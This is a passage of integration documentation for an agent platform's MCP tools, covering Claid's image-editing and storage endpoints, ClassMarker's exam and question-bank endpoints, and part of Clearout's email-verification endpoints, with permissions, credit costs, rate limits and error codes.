two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/storage/storages. Scopes: storage. claid_ai_get_v1_storage_storages_by_storage_id (read) — One connected storage in full, by the id List connected storages returns. Read it before Update a connected storage, which sends only the members named. The reply is scrubbed the same way Connect a storage's is: `secret_access_key`, `secret_key`, `private_key`, `service_account_key` and `credentials` are replaced at every depth. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/storage/storages/{storage_id}. Scopes: storage. claid_ai_get_v1_video_generate_by_animation_id (read) — Read the state of a job started by Start a video generation, and the video once it has finished. A POLL, not a new job: it costs no credits and returns whatever state the task is in. The ledger's response component is a `$ref` into a schema section the sealed sources did not carry, so the exact status vocabulary and the polling interval are UNMEASURED -- read the reply's own status field rather than assuming one this build could not observe. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/video/generate/{animation_id}. Scopes: image_editing. claid_ai_patch_v1_storage_storages_by_storage_id (write) — Change a connected storage's name, type or parameters. NO MEMBER IS REQUIRED -- send only what is changing, and read the record first with Get a connected storage, because this replaces the members it names rather than merging into them. Rotating a bucket credential is this call with a fresh `parameters`. The reply is scrubbed the same way Connect a storage's is. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. PATCH /api/v1/claid/v1/storage/storages/{storage_id}. Scopes: storage. claid_ai_post_v1_image_ai_edit (write) — Hand an image to Claid's generative editing model with `options` describing what to change. Accepted as a background job: the reply carries the AI EDIT ID, read back with Read an AI edit's result. Generative, so the same request twice does not give the same picture twice. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/ai-edit. Scopes: image_editing. claid_ai_post_v1_image_ai_fashion_models (write) — Generate on-model photography for a garment: `input` names the model and clothing images, `options` customises the shoot. Accepted as a background job -- the reply carries the PROCESSING REQUEST ID, read back with Read an AI fashion-model result. THE OUTPUT IS A SYNTHETIC HUMAN LIKENESS: it is generated, not photographed, and publishing it as a real person's image is the caller's decision rather than this integration's. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/ai-fashion-models. Scopes: image_editing. claid_ai_post_v1_image_edit (write) — Run Claid's editing pipeline over one image and WAIT for the finished result: restoration and upscaling, background removal or generation, object alignment and padding, colour and lighting adjustment, resizing and format conversion -- whichever of those the `operations` object asks for. SYNCHRONOUS, so a heavy pipeline holds the request open; use Edit an image asynchronously for a long job and Edit a batch of images for a folder. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/edit. Scopes: image_editing. claid_ai_post_v1_image_edit_async (write) — The same editing pipeline as Edit an image, accepted as a background job: the reply carries the TASK ID to poll, not an image. Read it back with Read an asynchronous edit's result. Use this when the pipeline is heavy enough that a synchronous call would time out. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/edit/async. Scopes: image_editing. claid_ai_post_v1_image_edit_batch (write) — Run one editing pipeline over MANY images: `input` is a folder URL, a single image URL, an array of image URLs, or the vendor's batch-input object. Accepted as a background job -- the reply carries the batch task id, read back with Read a batch edit's result. A batch spends credits PER IMAGE, so a folder is the fastest way to spend an account's balance. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/edit/batch. Scopes: image_editing. claid_ai_post_v1_image_generate (write) — Generate images from a text prompt (3 to 1024 characters). `options` carries the generation knobs -- the vendor's own defaults are four images at guidance scale 5, so an unspecified call bills for FOUR pictures rather than one. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/image/generate. Scopes: image_editing. claid_ai_post_v1_scene_create (write) — Place a product into a generated scene: `object` says how the product sits in the frame (absolute placement, original, or padded) and `scene` says what it sits in (a background effect, a text prompt, or a template). The vendor's default output is FOUR images at 1MP, so an unspecified call bills for four. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Note for whoever reads the research: the endpoint ledger files this one under an `image_generation` scope, which is not a permission Claid's dashboard can mint -- the key permissions are Storage, Image editing and Admin -- so it is granted here under Image editing, the permission the vendor's own authentication page puts the /v1/scene/* routes behind. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/scene/create. Scopes: image_editing. claid_ai_post_v1_storage_storages (write) — Wire one of the customer's own buckets into Claid so edited images can be written straight to it: `name` is the label inside Claid (it need not match the bucket's global name), `type` is one of the values List the storage connector types returns, and `parameters` carries that back end's own settings. THE BODY CARRIES THE CUSTOMER'S OWN CLOUD CREDENTIALS -- an S3 access key pair or a Google service account -- which is what this operation is for; they go to Claid and to nowhere else, and Agentic Fabriq never logs a request body. The REPLY is scrubbed before it reaches the caller: `secret_access_key`, `secret_key`, `private_key`, `service_account_key` and `credentials` are replaced at every depth, because a tool result is copied into the model's context and into the audit trail. Whether Claid echoes any of them is unmeasured -- the response component is a `$ref` the sealed sources did not carry -- so the scrub is a precaution keyed on AWS's and Google's own field names, and it is inert if Claid returns none of them. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/storage/storages. Scopes: storage. claid_ai_post_v1_video_generate (write) — Animate a still image into a video, with `options` describing the motion. Accepted as a background job -- the reply carries the ANIMATION ID, read back with Read a generated video's result. Video is the most expensive thing on this API. With `output` omitted Claid keeps the result on its own bucket and returns a TEMPORARY URL that stops working after one day; pass an output URL (or a connected storage) to keep it. THIS SPENDS CLAID CREDITS: credits, not the request rate, are the real budget on this provider, a new account is given 50, and every image, scene and video operation draws on them. Reading a result back does not. The published costs are PER OPERATION and are not uniform -- 1 credit for text-to-image, 2 for an AI edit, 35 for five seconds of AI video -- so one video call spends most of a new account's balance and a batch spends per image. API credits are also a separate pool from web-plan credits and the two are not interchangeable. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. The endpoint ledger files this one under a `video_generation` scope, which is not a permission Claid's dashboard can mint; it is granted here under Image editing for the same reason the scene tool is. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. POST /api/v1/claid/v1/video/generate. Scopes: image_editing. ================================================================================ ## ClassMarker URL: https://www.agenticfabriq.com/integrations/classmarker Section: Integrated Tools ClassMarker — 15 MCP tools Provider key: classmarker. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. classmarker_delete_v1_accesslists_by_access_list_id_json (write, destructive) — Remove access codes from an access list. DELETE /v1/accesslists/{access_list_id}.json. Removes up to 100 access codes from an API-controlled access list, revoking those codes' ability to start the exam. The list is named by path; the body is a JSON ARRAY OF STRINGS naming WHICH codes to remove, and it is not optional -- a delete that names no code is a delete that says nothing. Irreversible: re-adding a code is a separate call. DELETE /api/v1/classmarker/v1/accesslists/{access_list_id}.json. Scopes: api. classmarker_get_v1_categories_json (read) — List question-bank categories. GET /v1/categories.json. Returns the whole category tree of the question bank: every parent category with the categories nested under it. Every account has the built-in `Generic Parent` (id 0) containing `Generic` (id 0). A parent with no children reports `categories: null` rather than an empty list. GET /api/v1/classmarker/v1/categories.json. Scopes: api. classmarker_get_v1_groups_by_group_id_tests_by_test_id_recent_results_json (read) — Get recent results for one group exam. GET /v1/groups/{group_id}/tests/{test_id}/recent_results.json. Returns results for ONE exam inside ONE group, finished after a given moment. Narrower than the all-groups call and the right one when the group and exam are already known. An id that does not exist is not an error: the response is `no_results`, indistinguishable from a real exam nobody has taken, so confirm ids with the discovery call rather than reading an empty result as a wrong id. GET /api/v1/classmarker/v1/groups/{group_id}/tests/{test_id}/recent_results.json. Scopes: api. classmarker_get_v1_groups_recent_results_json (read) — Get recent results across all groups. GET /v1/groups/recent_results.json. Returns exam results finished after a given moment, across every Group in the account. Use this to poll for new results; ClassMarker's own real-time delivery is webhooks, and this is the pull equivalent. GET /api/v1/classmarker/v1/groups/recent_results.json. Scopes: api. classmarker_get_v1_json (read) — List your groups, links and exams. GET /v1.json. Returns every Group and every Link in the ClassMarker account, each with the exams assigned to it, so a later call can name a specific group_id/test_id or link_id/test_id. This is the discovery call: start here when you do not already know the ids. Answers `no_results` with empty `groups` and `links` arrays on an account that has none. GET /api/v1/classmarker/v1.json. Scopes: api. classmarker_get_v1_links_by_link_id_tests_by_test_id_recent_results_json (read) — Get recent results for one link exam. GET /v1/links/{link_id}/tests/{test_id}/recent_results.json. Returns results for ONE exam behind ONE link, finished after a given moment. As with the group call, an unknown id answers `no_results` rather than an error. GET /api/v1/classmarker/v1/links/{link_id}/tests/{test_id}/recent_results.json. Scopes: api. classmarker_get_v1_links_recent_results_json (read) — Get recent results across all links. GET /v1/links/recent_results.json. Returns exam results finished after a given moment, across every Link in the account. The Link equivalent of the groups call: a Link is a public URL anyone can take the exam from, a Group is a roster of named test-takers. GET /api/v1/classmarker/v1/links/recent_results.json. Scopes: api. classmarker_get_v1_questions_by_question_id_json (read) — Get one question. GET /v1/questions/{question_id}.json. Returns a single question from the question bank by id. A question id the account does not own answers `no_results` rather than an error. GET /api/v1/classmarker/v1/questions/{question_id}.json. Scopes: api. classmarker_get_v1_questions_json (read) — List question-bank questions. GET /v1/questions.json. Returns one page of the account's question bank, each question with its type, category, text, options, correct answers, points and feedback. Paged: pass `page` to walk it. A page past the end is not an error -- it answers `ok` with an empty `questions` array. GET /api/v1/classmarker/v1/questions.json. Scopes: api. classmarker_post_v1_accesslists_by_access_list_id_json (write) — Add access codes to an access list. POST /v1/accesslists/{access_list_id}.json. Adds up to 100 access codes to an API-controlled access list, so the holders of those codes can start the exam the list guards. The list is named by path; the body is a JSON ARRAY OF STRINGS, one code per entry, each at most 255 characters. An access list id the account does not own answers `incorrectUrlId`. POST /api/v1/classmarker/v1/accesslists/{access_list_id}.json. Scopes: api. classmarker_post_v1_categories_category_json (write) — Create a category. POST /v1/categories/category.json. Creates a category inside a parent category and returns its `category_id`. Both `category_name` and `parent_category_id` are required; use parent 0 (`Generic Parent`) when there is no better home. Names must be unique across the account. `verify_only` validates without creating. POST /api/v1/classmarker/v1/categories/category.json. Scopes: api. classmarker_post_v1_categories_parent_category_json (write) — Create a parent category. POST /v1/categories/parent_category.json. Creates a top-level category in the question bank and returns its `parent_category_id`. Names must be unique: a duplicate answers `payloadValidationError` with `Parent category name already exists`. Pass `verify_only` to validate the payload without creating anything -- the response is `status: verified`. POST /api/v1/classmarker/v1/categories/parent_category.json. Scopes: api. classmarker_post_v1_questions_json (write) — Add a question to the question bank. POST /v1/questions.json. Creates a question and returns it with its assigned `question_id`. Read the `body` schema before calling: ClassMarker's option format is specific and it rejects the obvious guesses. `verify_only` validates the payload without creating anything. POST /api/v1/classmarker/v1/questions.json. Scopes: api. classmarker_put_v1_categories_parent_category_by_parent_category_id_json (write) — Rename a parent category. PUT /v1/categories/parent_category/{parent_category_id}.json. Renames an existing top-level category. Send `parent_category_name` alone: `parent_category_id` is read-only and including it is refused, even though it is the id in the path. An id the account does not own answers `incorrectUrlId`. `verify_only` works here too. PUT /api/v1/classmarker/v1/categories/parent_category/{parent_category_id}.json. Scopes: api. classmarker_put_v1_questions_by_question_id_json (write) — Update a question. PUT /v1/questions/{question_id}.json. Replaces an existing question. Send the WHOLE question, not a patch: the same fields the create call takes. A question id the account does not own answers `incorrectUrlId`. `verify_only` validates without saving. PUT /api/v1/classmarker/v1/questions/{question_id}.json. Scopes: api. ================================================================================ ## Clearout URL: https://www.agenticfabriq.com/integrations/clearout Section: Integrated Tools Clearout — 30 MCP tools Provider key: clearout. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. clearout_get_account_credits (read) — Get remaining credits via GET /v2/account/credits. Return the account's `total_remaining_credits` and the breakdown by source (`pay_as_you_go`, `subscription`, bonus) plus the low-balance threshold. Free. This is also the credential check run when a token is pasted: MEASURED 2026-09-20 with the owner's token -> 200 `total_remaining_credits: 100`; a bogus token -> 401 code 1000. It shares the `/account/*` rate-limit bucket, which on the free plan is ONE request per ten seconds. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/account/credits. Scopes: api. clearout_get_account_limits (read) — Get service limits via GET /v2/account/limits. Return the account's active service limits: the API requests-per-minute limit and how much of it remains, the reset time, and the number of bulk jobs that may run in parallel. Free; shares the `/account/*` rate-limit bucket. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/account/limits. Scopes: api. clearout_get_account_myplans (read) — Get plans and add-ons via GET /v2/account/myplans. Return the account's current subscription or pay-as-you-go plan and its add-ons: name, status, type, charge and renewal dates. Free; shares the `/account/*` rate-limit bucket. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/account/myplans. Scopes: api. clearout_get_email_finder_bulk_progress_status (read) — Get bulk finder progress via GET /v2/email_finder/bulk/progress_status. Report the progress of a bulk email finder list by `list_id`: `progress_status` and the percentage done. Poll until completed, then fetch results with Get a bulk finder result download link. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/email_finder/bulk/progress_status. Scopes: api. clearout_get_email_finder_instant_queue_status (read) — Get a queued email finder result via GET /v2/email_finder/instant/queue_status. Fetch the result of an email finder request that was queued because it outlasted its timeout, by the `qid` from Find a person's email address. The reply has the same shape as an instant result once the search has finished; until then it reports the queue status. AN UNKNOWN OR EXPIRED `qid` ANSWERS HTTP 401 with Clearout code 1104 `Invalid queue ID` (measured 2026-09-20) -- that 401 is about the qid, not the token; only code 1000 is a credential problem. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/email_finder/instant/queue_status. Scopes: api. clearout_get_email_verify_bulk_progress_status (read) — Get bulk verify progress via GET 